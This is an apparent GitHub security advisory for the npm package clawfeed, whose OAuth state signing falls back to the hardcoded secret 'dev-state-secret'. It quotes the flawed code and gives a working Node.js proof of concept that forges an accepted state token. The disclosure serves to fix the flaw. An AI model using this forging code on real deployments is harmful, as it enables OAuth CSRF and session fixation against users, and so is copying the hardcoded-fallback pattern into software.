Skip to content

[SECURITY] Hardcoded OAuth state secret fallback allows forging state tokens on default deployments #55

@aliceQWAS

Description

@aliceQWAS

Summary

The OAuth state parameter is signed with OAUTH_STATE_SECRET. When no secrets are configured (the default for fresh deployments), the fallback chain ends at the hardcoded string 'dev-state-secret'. An attacker can forge valid OAuth state tokens, enabling CSRF attacks against the OAuth login flow.

Details

The secret resolution at server.mjs:33:

const OAUTH_STATE_SECRET = env.OAUTH_STATE_SECRET ||
  process.env.OAUTH_STATE_SECRET ||
  SESSION_SECRET ||
  API_KEY ||
  'dev-state-secret';

The fallback chain ends with a hardcoded, publicly known string. The .env.example ships with all three secrets (OAUTH_STATE_SECRET, SESSION_SECRET, API_KEY) empty, making 'dev-state-secret' the default for any fresh deployment.

The OAuth state is created and verified using HMAC-SHA256 with this secret:

// State creation (simplified):
const body = Buffer.from(JSON.stringify(payload)).toString('base64url');
const sig = createHmac('sha256', OAUTH_STATE_SECRET).update(body).digest('base64url');
const state = body + '.' + sig;

// State verification:
const [b, s] = state.split('.', 2);
const expected = createHmac('sha256', OAUTH_STATE_SECRET).update(b).digest('base64url');
// timingSafeEqual(s, expected)

PoC

Prerequisites: ClawFeed deployed without configuring OAUTH_STATE_SECRET, SESSION_SECRET, or API_KEY (the default).

// Forge a valid OAuth state token using the known hardcoded secret
const { createHmac, timingSafeEqual } = require('crypto');

const secret = 'dev-state-secret';  // Publicly known fallback

const payload = {
  origin: 'http://localhost',
  redirectUri: 'http://localhost/api/auth/callback',
  nonce: 'attacker-controlled',
  ts: Date.now()
};

const body = Buffer.from(JSON.stringify(payload)).toString('base64url');
const sig = createHmac('sha256', secret).update(body).digest('base64url');
const forgedState = body + '.' + sig;

// Verify it passes the server's check
const [b, s] = forgedState.split('.', 2);
const expected = createHmac('sha256', secret).update(b).digest('base64url');
const a = Buffer.from(s), bb = Buffer.from(expected);
const valid = a.length === bb.length && timingSafeEqual(a, bb);

console.log(`Forged state: ${forgedState.substring(0, 60)}...`);
console.log(`Verification: ${valid ? 'VERIFIED — forged token accepted' : 'FAILED'}`);

Expected output:

Forged state: eyJvcmlnaW4iOiJodHRwOi8vbG9jYWxob3N0IiwicmVkaXJlY3...
Verification: VERIFIED — forged token accepted

The forged state token passes verifyOAuthState() on any deployment using the default configuration.

Impact

An attacker who knows the publicly visible fallback secret can forge OAuth state tokens, enabling:

  • OAuth CSRF: Force a victim to log in with the attacker's Google account (session fixation variant)
  • Controlled redirect: Set the origin field in the forged state to redirect users after OAuth completion

Note: The isAllowedOrigin check partially mitigates the redirect impact by limiting targets to configured origins.

Affected products

  • Ecosystem: npm
  • Package name: clawfeed
  • Affected versions: <= 0.8.1
  • Patched versions: None

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Weaknesses

  • CWE-798: Use of Hard-coded Credentials

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions